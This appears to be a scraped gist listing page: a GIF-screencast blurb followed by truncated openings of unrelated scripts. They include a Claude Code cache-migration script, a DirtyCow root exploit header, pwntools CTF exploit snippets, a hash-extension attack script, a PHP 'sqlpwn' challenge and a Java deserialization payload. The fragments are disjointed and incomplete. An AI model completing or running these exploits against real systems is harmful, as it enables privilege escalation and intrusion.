This gist shows how to create a GIF screencast using only free OS X tools: QuickTime, ffmpeg, and gifsicle.
To capture the video (filesize: 19MB), using the free "QuickTime Player" application:
| #!/usr/bin/env bash | |
| # 迁移某项目目录的 Claude Code 缓存(会话历史 + memory + ~/.claude.json 项目配置)到新目录名。 | |
| # 用法: bash migrate-claude-project.sh <old_dir> <new_dir> | |
| # | |
| # 重要:请在【退出所有该项目的 claude 会话后】、用普通终端运行本脚本。 | |
| # 否则被改名目录的 cwd 会悬空,且 ~/.claude.json 可能被退出时回写覆盖。 | |
| # | |
| # 相比早期版本修复的两个关键坑: | |
| # 1) 路径编码是【有损】的:Claude 把路径里每个非字母数字字符都替换成 '-', | |
| # 所以"结构相同、字符数相同"的不同路径(尤其中文路径,每个汉字 = 一个 '-') |
| package main | |
| import ( | |
| "bufio" | |
| //"crypto/tls" | |
| "encoding/json" | |
| "flag" | |
| "fmt" | |
| "io" | |
| "net" |
| /* | |
| * (un)comment correct payload first (x86 or x64)! | |
| * | |
| * $ gcc cowroot.c -o cowroot -pthread | |
| * $ ./cowroot | |
| * DirtyCow root privilege escalation | |
| * Backing up /usr/bin/passwd.. to /tmp/bak | |
| * Size of binary: 57048 | |
| * Racing, this may take a while.. | |
| * /usr/bin/passwd overwritten |
| #!/usr/bin/env python | |
| # author: RickGray | |
| # update: 2016-05-25 | |
| # >>>>>>>>>>> | |
| # requests, hashpumpy modules required | |
| # : pip install requests hashpumpy | |
| import re | |
| import json | |
| import time |
| #!/usr/bin/env python | |
| # coding: utf-8 | |
| from pwn import * | |
| p = process('./login') | |
| ebp_over = 0x0811EB40 | |
| pp_system = 0x08049284 | |
| payload = b64e('A' * 4 + p32(pp_system) + p32(ebp_over)) |
| #!/usr/bin/env python | |
| # coding: utf-8 | |
| import os | |
| import re | |
| import time | |
| import random | |
| import urllib2 | |
| from pwn import * |
| #!/usr/bin/env python | |
| # coding: utf-8 | |
| from pwn import * | |
| # Remote EXP | |
| libc = ELF('./bf_libc.so') | |
| p = remote('pwnable.kr', 9001) | |
| # Local EXP |
| <?php | |
| /* | |
| sqlpwn by orange | |
| Don't brute force or you will be banned ! | |
| */ | |
| session_start(); | |
| error_reporting(0); | |
| include "template.html"; |
| package exserial.payloads; | |
| import java.io.ObjectOutputStream; | |
| import java.util.Map; | |
| import java.util.HashMap; | |
| import java.lang.annotation.Target; | |
| import java.lang.reflect.Constructor; |